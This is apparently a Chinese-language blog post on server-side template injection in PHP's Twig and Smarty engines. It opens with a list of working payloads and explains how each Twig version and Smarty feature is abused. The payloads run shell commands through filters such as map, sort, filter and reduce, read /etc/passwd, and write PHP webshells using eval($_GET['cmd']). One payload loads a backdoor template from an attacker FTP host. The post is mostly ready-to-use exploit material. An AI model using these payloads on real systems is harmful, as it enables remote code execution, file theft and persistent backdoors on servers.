Featured image of post php下的SSTI(twig和smarty)

php下的SSTI(twig和smarty)

php下的SSTI(twig和smarty)

Twig

参考:文章 - Twig 模板注入从零到一 - 先知社区

先上payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

twig 1.x

测试代码

1
2
3
4
5
6
7
8
9
<?php

include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();

$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);
?>

在 Twig 1.x 中存在三个全局变量:

  • _self:引用当前模板的实例。
  • _context:引用当前上下文。
  • _charset:引用当前字符集。

对应的代码是:

1
2
3
4
5
protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

这里主要就是利用 _self 变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。

比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:

1
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

此外还有 getFilter 方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}

public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

我们在 getFilter 里发现了危险函数 call_user_func。通过传递参数到该函数中,我们可以调用任意 PHP 函数。Payload 如下:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

但是在 Twig 2.x 及 Twig 3.x 以后,_self 的作用发生了变化,只能返回当前实例名字符串,所以以上 Payload 只能适用于 Twig 1.x 。

twig 2.x/3.x

测试代码

1
2
3
4
5
6
7
8
9
<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

map过滤器

在 Twig 3.x 中,map 这个过滤器可以允许用户传递一个箭头函数,并将这个箭头函数应用于序列或映射的元素:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{% set people = [
    {first: "Bob", last: "Smith"},
    {first: "Alice", last: "Dupond"},
] %}

{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
// Output: outputs Bob Smith, Alice Dupond


{% set people = {
    "Bob": "Smith",
    "Alice": "Dupond",
} %}

{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
// Output: outputs Bob Smith, Alice Dupond

当我们如下使用 map 时:

1
{{["Mark"]|map((arg)=>"Hello #{arg}!")}}

3.x会编译成

1
twig_array_map([0 => "Mark"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))})

这个 twig_array_map 函数的源码如下:

1
2
3
4
5
6
7
8
9
function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v, $k);    // 直接将 $arrow 当做函数执行
    }

    return $r;
}

从上面的代码我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v$k 分别是 $array 中的 value 和 key。$array$arrow 都是我们我们可控的,那我们可以不传箭头函数,直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数:

1
2
3
4
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string

payload

1
2
3
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}}    // 无回显

这样会被解析为

1
2
3
twig_array_map([0 => "id"], "sysetm")
然后
在 twig_array_map 函数中将执行 system('id',0)。

如果上面这些命令执行函数都被禁用了,我们还可以执行其他函数执行任意代码:

1
2
{{["phpinfo();"]|map("assert")|join(",")}}
{{{"<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}}    //  Webshell

sort过滤器

这个 sort 筛选器可以用来对数组排序。

1
2
3
{% for user in users|sort %}
    ...
{% endfor %}

传递一个箭头函数来对数组进行排序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{% set fruits = [
    { name: 'Apples', quantity: 5 },
    { name: 'Oranges', quantity: 2 },
    { name: 'Grapes', quantity: 4 },
] %}

{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
    {{ fruit }}
{% endfor %}

// Output in this order: Oranges, Grapes, Apples

类似于 map,模板编译的过程中会进入 twig_sort_filter 函数,这个 twig_sort_filter 函数的源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function twig_sort_filter($array, $arrow = null)
{
    if ($array instanceof \Traversable) {
        $array = iterator_to_array($array);
    } elseif (!\is_array($array)) {
        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
    }

    if (null !== $arrow) {
        uasort($array, $arrow);    // 直接被 uasort 调用 
    } else {
        asort($array);
    }

    return $array;
}

从源码中可以看到,$array$arrow 直接被 uasort 函数调用。众所周知 uasort 函数可以使用用户自定义的比较函数对数组中的元素按键值进行排序,如果我们自定义一个危险函数,将造成代码执行或命令执行:

1
2
3
php > $arr = ["id",0];
php > usort($arr,"system");
//uid=0(root) gid=0(root) groups=0(root)

payload

1
2
3
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

filter过滤器

这个 filter 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值:

1
2
3
4
{% set lists = [34, 36, 38, 40, 42] %}
{{ lists|filter(v => v > 38)|join(', ') }}

// Output: 40, 42

类似于 map,模板编译的过程中会进入 twig_array_filter 函数,这个 twig_array_filter 函数的源码如下:

1
2
3
4
5
6
7
8
9
function twig_array_filter($array, $arrow)
{
    if (\is_array($array)) {
        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

从源码中可以看到,$array$arrow 直接被 array_filter 函数调用。 array_filter 函数可以用回调函数过滤数组中的元素,如果我们自定义一个危险函数,将造成代码执行或命令执行:

1
2
3
php > $arr = ["id"];
php > array_filter($arr,"system");
//uid=0(root) gid=0(root) groups=0(root)

payload

1
2
3
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显

reduce 过滤器

这个 reduce 过滤器使用箭头函数迭代地将序列或映射中的多个元素缩减为单个值。箭头函数接收上一次迭代的返回值和序列或映射的当前值:

1
2
3
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
// Output: 6

类似于 map,模板编译的过程中会进入 twig_array_reduce 函数,这个 twig_array_reduce 函数的源码如下:

1
2
3
4
5
6
7
8
function twig_array_reduce($array, $arrow, $initial = null)
{
    if (!\is_array($array)) {
        $array = iterator_to_array($array);
    }

    return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}	

从源码中可以看到,$array$arrow 直接被 array_filter 函数调用。 array_reduce 函数可以发送数组中的值到用户自定义函数,并返回一个字符串。如果我们自定义一个危险函数,将造成代码执行或命令执行。

payload

1
2
3
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

smarty

$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流

因此我们可以用这个方法读文件,payload:

1
{self::getStreamVariable("file:///etc/passwd")}

smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class Smarty_Internal_Write_File
{
    /**
     * Writes file in a safe way to disk
     *
     * @param  string $_filepath complete filepath
     * @param  string $_contents file content
     * @param  Smarty $smarty    smarty instance
     *
     * @throws SmartyException
     * @return boolean true
     */
    public function writeFile($_filepath, $_contents, Smarty $smarty)
    {
        $_error_reporting = error_reporting();
        error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
        if ($smarty->_file_perms !== null) {
            $old_umask = umask(0);
        }

        $_dirpath = dirname($_filepath);
        // if subdirs, create dir structure
        if ($_dirpath !== '.' && !file_exists($_dirpath)) {
            mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
        }

        // write to tmp file, then move to overt file lock race condition
        $_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
        if (!file_put_contents($_tmp_file, $_contents)) {
            error_reporting($_error_reporting);
            throw new SmartyException("unable to write file {$_tmp_file}");
       }

        /*
         * Windows' rename() fails if the destination exists,
         * Linux' rename() properly handles the overwrite.
         * Simply unlink()ing a file might cause other processes
         * currently reading that file to fail, but linux' rename()
         * seems to be smart enough to handle that for us.
         */
        if (Smarty::$_IS_WINDOWS) {
            // remove original file
            if (is_file($_filepath)) {
                @unlink($_filepath);
            }
            // rename tmp file
            $success = @rename($_tmp_file, $_filepath);
        } else {
            // rename tmp file
            $success = @rename($_tmp_file, $_filepath);
            if (!$success) {
                // remove original file
                if (is_file($_filepath)) {
                    @unlink($_filepath);
                }
                // rename tmp file
                $success = @rename($_tmp_file, $_filepath);
            }
        }
        if (!$success) {
            error_reporting($_error_reporting);
            throw new SmartyException("unable to write file {$_filepath}");
        }
        if ($smarty->_file_perms !== null) {
            // set file permissions
            chmod($_filepath, $smarty->_file_perms);
            umask($old_umask);
        }
        error_reporting($_error_reporting);

        return true;
    }
}

可以看到 writeFile 函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),函数原型:

1
2
3
4
public function clearConfig($varname = null)
{
    return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

payload写入webshell

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

ssti

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
1. {$smarty.version}
{$smarty.version}  #获取smarty的版本号
2. {php}{/php}
{php}phpinfo();{/php}  #执行相应的php代码
Smarty3版本中已经废弃{php}标签,强烈建议不要使用
3. {literal}
<script language="php">phpinfo();</script>   
这个地方借助了 {literal} 这个标签,因为 {literal} 可以让一个模板区域的字符原样输出。但是这种写法只适用于php5环境
4. getstreamvariable
{self::getStreamVariable("file:///etc/passwd")}
这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30Smarty版本中官方已经把该静态方法删除。所以上面介绍的旧版本payload几乎没用
5. {if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else}  {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*or&&andis_array()等等
使用 Hugo 构建
主题 StackJimmy 设计